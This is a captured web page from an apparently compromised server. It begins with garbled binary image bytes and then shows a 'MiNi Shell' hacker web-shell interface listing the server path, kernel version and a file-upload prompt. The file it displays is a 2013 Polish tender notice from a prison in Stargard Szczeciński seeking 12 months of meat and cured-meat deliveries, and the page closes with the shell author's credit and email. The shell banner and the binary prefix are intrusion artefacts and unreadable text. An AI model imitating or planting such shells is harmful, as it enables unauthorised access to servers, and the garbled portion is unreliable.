JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20130430/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20130430/174380-N-2013.html

<p class="kh_header"><b>Stargard Szczeciński: Dostawy wędlin oraz miesa i tłuszczy zwierzęcych</b><br>
<b>Numer ogłoszenia: 174380 - 2013; data zamieszczenia: 30.04.2013</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Zakład Karny , Al. Żołnierza 42, 73-110 Stargard Szczeciński, woj. zachodniopomorskie, tel. 091 5763160.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.sw.gov.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: Zakład Karny.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Dostawy wędlin oraz miesa i tłuszczy zwierzęcych.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1.	Baton drobiowy PN-A-86526:1995/Az2:2000; wędlina drobiowa, bez widocznych oznak tłuszczu, na przekroju widoczne grube kawałki mięsa drobiowego, wyczuwalny smak mięsa drobiowego - 300 kg
2.	Kiełbasa jałowcowa PN-A-82007:1996/Az1:1998; czysto wieprzowa kiełbasa średnio rozdrobniona, wędzona i podsuszana, - 100 kg
3.	Kiełbasa krakowska parzona PN-A-82007:1996/Az1:1998; parzona wędlina wieprzowo wołowa, na przekroju widoczne grube kawałki chudego mięsa, lekko wyczuwalny smak przypraw- 350 kg
4.	Kiełbasa parówkowa PN-A-82007:1996/Az1:1998; drobno rozdrobniona parówka wieprzowa, osłonka jelito cienkie wieprzowe, średnio tłusta -1 100 kg
5.	Kiełbasa wolińska PN-A-82007:1996/Az1:1998; średnio rozdrobniona, osłonka jelito cienkie wieprzowe, z widocznymi na przekroju drobnymi kawałkami mięsa, wyczuwalny smak mięsa i przypraw -6 500 kg
6.	Kiełbasa szynkowa PN-A-82007:1996/Az1:1998; chuda, parzona wędlina wieprzowa, grubo rozdrobniona, z widocznymi na przekroju dużymi kawałkami chudego mięsa, lekko wyczuwalny smak przypraw -300 kg
7.	Kiełbasa tatrzańska PN-A-82007:1996/Az1:1998; średnio rozdrobniona, chuda, podsuszana kiełbasa wieprzowo wołowa, z widocznymi na przekroju średnimi kawałkami mięsa, lekko wyczuwalny smak przypraw 400kg 
8.	Kiełbasa żywiecka drobiowa PN-A-86526:1995/Az2:2000; średnio rozdrobniona, chuda, podsuszana kiełbasa drobiowa, z widocznymi na przekroju średnimi kawałkami mięsa, lekko wyczuwalny smak przypraw -  200 kg
9.	Metka łososiowa PN-A-82007:1996/Az1:1998; drobno rozdrobniona kiełbasa wieprzowo wołowa  - 900kg
10.	Mielonka drobiowa PN-A-86526:1995/Az2:2000; wędlina drobiowa, drobno rozdrobniona, bez widocznych oznak tłuszczu, wyczuwalny smak mięsa drobiowego - 1 400kg
11.	Mielonka wieprzowa PN-A-82007:1996/Az1:1998; wędlina z mięsa wieprzowego, średnio rozdrobniona, z niewielkimi oznakami tłuszczu, z widocznymi na przekroju drobnymi kawałkami mięsa, wyczuwalny smak mięsa i przypraw - 1 200kg
12.	Mortadela drobiowa PN-A-86526:1995/Az2:2000; wędlina drobiowa, drobno rozdrobniona, bez widocznych oznak tłuszczu, lekko wyczuwalny smak przypraw, wyczuwalny smak mięsa drobiowego - 1 400kg
13.	Mortadela wieprzowa PN-A-82007:1996/Az1:1998; średni tłusta wędlina wieprzowa, drobno rozdrobniona, bez widocznych oznak tłuszczu, wyczuwalny smak przypraw, wyczuwalny smak mięsa - 1 100kg
14.	Parówka śląska PN-A-82007:1996/Az1:1998; drobno rozdrobniona parówka wieprzowa, osłonka foliowa cienka, średnio tłusta - 1 000kg
15.	Pasztet drobiowy pieczony PN-A-86526:1995/Az2:2000; pasztet z mięsa, w bloku lub foremkach, zapieczony, średnio tłusty - 1 000kg
16.	Pasztetowa drobiowa PN-A-86526:1995/Az2:2000; pasztetowa z mięsa drobiowego, w folii lub osłonce jelitowej, średnio tłusta - 1 200kg
17.	Pasztetowa wieprzowa PN-A-82007:1996/Az1:1998; pasztetowa z mięsa wieprzowych, w folii lub osłonce jelitowej, średnio tłusta - 1 100kg
18.	Pieczeń drobiowa PN-A-86526:1995/Az2:2000; pieczeń z mięsa drobiowego, w foremkach lub bloku, zapieczona, średnio tłusta  - 1 100kg
19.	Pieczeń wieprzowa PN-A-82007:1996/Az1:1998; pieczeń z mięsa wieprzowego, w foremkach lub bloku, zapieczona, średnio tłusta - 1 000kg
20.	Polędwica drobiowa PN-A-86526:1995/Az2:2000; wędlina drobiowa, bez widocznych oznak tłuszczu, na przekroju widoczne grube kawałki mięsa drobiowego, wyczuwalny smak mięsa drobiowego - 200kg
21.	Salceson włoski PN-A-82007:1996/Az1:1998; wyrób podrobowy, z widocznymi kawałkami mięsa - 1 100kg
22.	Salceson czarny ozorkowy PN-A-82007:1996/Az1:1998; wyrób podrobowy, z widocznymi kawałkami ozorów i mięsa  - 900kg
23.	Serdelki drobiowe PN-A-86526:1995/Az2:2000; parówka drobiowa, mocna rozdrobniona, osłonka w folii lub jelito cienkie, bez widocznych oznak tłuszczu, lekko wyczuwalny smak przypraw, wyczuwalny smak mięsa drobiowego - 1 500kg
24.	Kiełbasa smakowita z indyka PN-A-86526:1995/Az2:2000;  wędlina drobiowa, bez widocznych oznak tłuszczu, na przekroju widoczne średnie kawałki mięsa drobiowego, wyczuwalny smak mięsa drobiowego - 150 kg
25.	Szynka drobiowa PN-A-86526:1995/Az2:2000; wędlina drobiowa, bez widocznych oznak tłuszczu, na przekroju widoczne grube kawałki chudego mięsa drobiowego , wyczuwalny smak mięsa drobiowego - 150 kg
26.	Szynka tyrolska PN-A-82007:1996/Az1:1998; wędlina z mięsa wieprzowego, średnio rozdrobniona, z niewielkimi oznakami tłuszczu, z widocznymi na przekroju drobnymi kawałkami mięsa z szynki wieprzowej, wyczuwalny smak mięsa i przypraw - 1100 kg
27.	Szynka wieprzowa gotowana PN-A-82007:1996/Az1:1998; mięso z szynki wieprzowej, chuda, bez tłuszcz, nie rozdrobniona, parzona, - 100 kg
28.	Kiełbasa biała parzona PN-A-82007:1996/Az1:1998; średnio rozdrobniona, osłonka jelito cienkie wieprzowe, z widocznymi na przekroju drobnymi kawałkami mięsa, wyczuwalny smak mięsa i przypraw - 200 kg
29.	Karkówka wieprzowa bez kości, surowa PN-A-82002:1986, obrobiona, świeża - 100 kg
30.	Łopatka wieprzowa bez kości, bez skóry, bez tłuszcz PN-A-82002:1986, świeża - 2 000kg
31.	Korpusy drobiowe PN-A86526:1995/Az2:2000, świeże - 1 000kg
32.	Kości wędzone od schabu PN-A-82002:1986, wędzone - 1 300 kg
33.	Kurczak świeży PN-A86526:1995/Az2:2000 - 2 000 kg
34.	Mięso mielone drobiowe luzem PN-A86526:1995/Az2:2000; mięso mielone z drobiu,  - 1 600 kg
35.	Mięso mielone wieprzowe luzem PN-A-82023:2000; mięso mielone wieprzowe z łopatki, karkówki lub szynki, z niewielką zawartością tłuszczu - 1 400kg
36.	Pierś z kurczaka surowa PN-A86526:1995/Az2:2000, świeże, w całości - 300kg
37.	Serca wieprzowe PN-A-82004:1986, świeże, w całości - 400 kg
38.	Schab wieprzowy bez kości PN-A-82002:1986, w całości, świeże - 250 kg
39.	Szynka wieprzowa surowa bez kości, bez tłuszcz, bez skóry PN-A-82002:1986, świeża - 20 kg
40.	Mięso wołowe bez kości ekstra PN-A-82000:1965; chude mięso wołowe z udźca lub łopatki, w płatach - 150 kg
41.	Wątróbka drobiowa PN-A-86523; drobiowa, świeża  - 1 000 kg
42.	Wątroba wieprzowa PN-A-82004:1986; wieprzowa świeża, w płatach - 500 kg
43.	Nerki wieprzowe PN-A-82004:1986; świeże, wieprzowe - 200 kg
44.	Smalec wieprzowy PN-86901; luzem lub w kostkach - 500 kg
45.	Słonina wieprzowa bez skóry PN-85/A-85800; świeża, bez skóry - 200 kg.</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 15.13.11.35-0, 15.13.11.33-6, 15.13.13.10-1, 15.22.10.00-3, 15.11.30.00-3, 15.11.22.10-1, 15.13.14.00-9, 15.11.22.10-1, 15.11.30.00-3, 15.11.40.00-0, 15.11.11.00-0, 15.11.23.00-9, 15.41.21.00-0, 15.41.00.00-5.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 2.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 12.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>

<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>

<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>



<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p><ul class="kh_indent_1">
<li>1 - Cena - 95</li>
<li>2 - Kryteria społeczne - 5</li>
</ul>

<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.sw.gov.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> W sekretariacie siedziby zamawiajacego -Zakład Karny, ul. Al. Żołnierza 42, 73-110 Stargard Szczeciński..</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 09.05.2013 godzina 09:00, miejsce: W sekretariacie siedziby zamawiajacego -Zakład Karny, ul. Al. Żołnierza 42, 73-110 Stargard Szczeciński - w dni powszednie w godz. 7.00 do 15.00..</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Dostawa wędlin.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1.	Baton drobiowy PN-A-86526:1995/Az2:2000; wędlina drobiowa, bez widocznych oznak tłuszczu, na przekroju widoczne grube kawałki mięsa drobiowego, wyczuwalny smak mięsa drobiowego - 300 kg
2.	Kiełbasa jałowcowa PN-A-82007:1996/Az1:1998; czysto wieprzowa kiełbasa średnio rozdrobniona, wędzona i podsuszana, - 100 kg
3.	Kiełbasa krakowska parzona PN-A-82007:1996/Az1:1998; parzona wędlina wieprzowo wołowa, na przekroju widoczne grube kawałki chudego mięsa, lekko wyczuwalny smak przypraw- 350 kg
4.	Kiełbasa parówkowa PN-A-82007:1996/Az1:1998; drobno rozdrobniona parówka wieprzowa, osłonka jelito cienkie wieprzowe, średnio tłusta -1 100 kg
5.	Kiełbasa wolińska PN-A-82007:1996/Az1:1998; średnio rozdrobniona, osłonka jelito cienkie wieprzowe, z widocznymi na przekroju drobnymi kawałkami mięsa, wyczuwalny smak mięsa i przypraw -6 500 kg
6.	Kiełbasa szynkowa PN-A-82007:1996/Az1:1998; chuda, parzona wędlina wieprzowa, grubo rozdrobniona, z widocznymi na przekroju dużymi kawałkami chudego mięsa, lekko wyczuwalny smak przypraw -300 kg
7.	Kiełbasa tatrzańska PN-A-82007:1996/Az1:1998; średnio rozdrobniona, chuda, podsuszana kiełbasa wieprzowo wołowa, z widocznymi na przekroju średnimi kawałkami mięsa, lekko wyczuwalny smak przypraw 400kg 
8.	Kiełbasa żywiecka drobiowa PN-A-86526:1995/Az2:2000; średnio rozdrobniona, chuda, podsuszana kiełbasa drobiowa, z widocznymi na przekroju średnimi kawałkami mięsa, lekko wyczuwalny smak przypraw -  200 kg
9.	Metka łososiowa PN-A-82007:1996/Az1:1998; drobno rozdrobniona kiełbasa wieprzowo wołowa  - 900kg
10.	Mielonka drobiowa PN-A-86526:1995/Az2:2000; wędlina drobiowa, drobno rozdrobniona, bez widocznych oznak tłuszczu, wyczuwalny smak mięsa drobiowego - 1 400kg
11.	Mielonka wieprzowa PN-A-82007:1996/Az1:1998; wędlina z mięsa wieprzowego, średnio rozdrobniona, z niewielkimi oznakami tłuszczu, z widocznymi na przekroju drobnymi kawałkami mięsa, wyczuwalny smak mięsa i przypraw - 1 200kg
12.	Mortadela drobiowa PN-A-86526:1995/Az2:2000; wędlina drobiowa, drobno rozdrobniona, bez widocznych oznak tłuszczu, lekko wyczuwalny smak przypraw, wyczuwalny smak mięsa drobiowego - 1 400kg
13.	Mortadela wieprzowa PN-A-82007:1996/Az1:1998; średni tłusta wędlina wieprzowa, drobno rozdrobniona, bez widocznych oznak tłuszczu, wyczuwalny smak przypraw, wyczuwalny smak mięsa - 1 100kg
14.	Parówka śląska PN-A-82007:1996/Az1:1998; drobno rozdrobniona parówka wieprzowa, osłonka foliowa cienka, średnio tłusta - 1 000kg
15.	Pasztet drobiowy pieczony PN-A-86526:1995/Az2:2000; pasztet z mięsa, w bloku lub foremkach, zapieczony, średnio tłusty - 1 000kg
16.	Pasztetowa drobiowa PN-A-86526:1995/Az2:2000; pasztetowa z mięsa drobiowego, w folii lub osłonce jelitowej, średnio tłusta - 1 200kg
17.	Pasztetowa wieprzowa PN-A-82007:1996/Az1:1998; pasztetowa z mięsa wieprzowych, w folii lub osłonce jelitowej, średnio tłusta - 1 100kg
18.	Pieczeń drobiowa PN-A-86526:1995/Az2:2000; pieczeń z mięsa drobiowego, w foremkach lub bloku, zapieczona, średnio tłusta  - 1 100kg
19.	Pieczeń wieprzowa PN-A-82007:1996/Az1:1998; pieczeń z mięsa wieprzowego, w foremkach lub bloku, zapieczona, średnio tłusta - 1 000kg
20.	Polędwica drobiowa PN-A-86526:1995/Az2:2000; wędlina drobiowa, bez widocznych oznak tłuszczu, na przekroju widoczne grube kawałki mięsa drobiowego, wyczuwalny smak mięsa drobiowego - 200kg
21.	Salceson włoski PN-A-82007:1996/Az1:1998; wyrób podrobowy, z widocznymi kawałkami mięsa - 1 100kg
22.	Salceson czarny ozorkowy PN-A-82007:1996/Az1:1998; wyrób podrobowy, z widocznymi kawałkami ozorów i mięsa  - 900kg
23.	Serdelki drobiowe PN-A-86526:1995/Az2:2000; parówka drobiowa, mocna rozdrobniona, osłonka w folii lub jelito cienkie, bez widocznych oznak tłuszczu, lekko wyczuwalny smak przypraw, wyczuwalny smak mięsa drobiowego - 1 500kg
24.	Kiełbasa smakowita z indyka PN-A-86526:1995/Az2:2000;  wędlina drobiowa, bez widocznych oznak tłuszczu, na przekroju widoczne średnie kawałki mięsa drobiowego, wyczuwalny smak mięsa drobiowego - 150 kg
25.	Szynka drobiowa PN-A-86526:1995/Az2:2000; wędlina drobiowa, bez widocznych oznak tłuszczu, na przekroju widoczne grube kawałki chudego mięsa drobiowego , wyczuwalny smak mięsa drobiowego - 150 kg
26.	Szynka tyrolska PN-A-82007:1996/Az1:1998; wędlina z mięsa wieprzowego, średnio rozdrobniona, z niewielkimi oznakami tłuszczu, z widocznymi na przekroju drobnymi kawałkami mięsa z szynki wieprzowej, wyczuwalny smak mięsa i przypraw - 1100 kg
27.	Szynka wieprzowa gotowana PN-A-82007:1996/Az1:1998; mięso z szynki wieprzowej, chuda, bez tłuszcz, nie rozdrobniona, parzona, - 100 kg
28.	Kiełbasa biała parzona PN-A-82007:1996/Az1:1998; średnio rozdrobniona, osłonka jelito cienkie wieprzowe, z widocznymi na przekroju drobnymi kawałkami mięsa, wyczuwalny smak mięsa i przypraw - 200 kg.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 15.13.11.35-0, 15.13.11.33-6, 15.13.13.10-1, 15.22.10.00-3.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li><li><p><b>4) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p>
<ul class="kh_indent_1">
<li>1. Cena - 95</li>
<li>2. kryterium społeczne - 5</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Dostawy mięsa i tłuszczy zwierzęcych.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1.	Karkówka wieprzowa bez kości, surowa PN-A-82002:1986, obrobiona, świeża - 100 kg
2.	Łopatka wieprzowa bez kości, bez skóry, bez tłuszcz PN-A-82002:1986, świeża - 2 000kg
3.	Korpusy drobiowe PN-A86526:1995/Az2:2000, świeże - 1 000kg
4.	Kości wędzone od schabu PN-A-82002:1986, wędzone - 1 300 kg
5.	Kurczak świeży PN-A86526:1995/Az2:2000 - 2 000 kg
6.	Mięso mielone drobiowe luzem PN-A86526:1995/Az2:2000; mięso mielone z drobiu,  - 1 600 kg
7.	Mięso mielone wieprzowe luzem PN-A-82023:2000; mięso mielone wieprzowe z łopatki, karkówki lub szynki, z niewielką zawartością tłuszczu - 1 400kg
8.	Pierś z kurczaka surowa PN-A86526:1995/Az2:2000, świeże, w całości - 300kg
9.	Serca wieprzowe PN-A-82004:1986, świeże, w całości - 400 kg
10.	Schab wieprzowy bez kości PN-A-82002:1986, w całości, świeże - 250 kg
11.	Szynka wieprzowa surowa bez kości, bez tłuszcz, bez skóry PN-A-82002:1986, świeża - 20 kg
12.	Mięso wołowe bez kości ekstra PN-A-82000:1965; chude mięso wołowe z udźca lub łopatki, w płatach - 150 kg
13.	Wątróbka drobiowa PN-A-86523; drobiowa, świeża  - 1 000 kg
14.	Wątroba wieprzowa PN-A-82004:1986; wieprzowa świeża, w płatach - 500 kg
15.	Nerki wieprzowe PN-A-82004:1986; świeże, wieprzowe - 200 kg
16.	Smalec wieprzowy PN-86901; luzem lub w kostkach - 500 kg
17.	Słonina wieprzowa bez skóry PN-85/A-85800; świeża, bez skóry - 200 kg.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 15.11.30.00-3, 15.11.22.10-1, 15.13.14.00-9, 15.11.22.10-1, 15.11.40.00-0, 15.11.11.00-0, 15.11.23.00-9, 15.11.40.00-0, 15.11.21.00-0, 15.41.00.00-5.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li><li><p><b>4) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p>
<ul class="kh_indent_1">
<li>1. Cena - 95</li>
<li>2. kryteria społeczne - 5</li>
</ul>
</li>
</ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com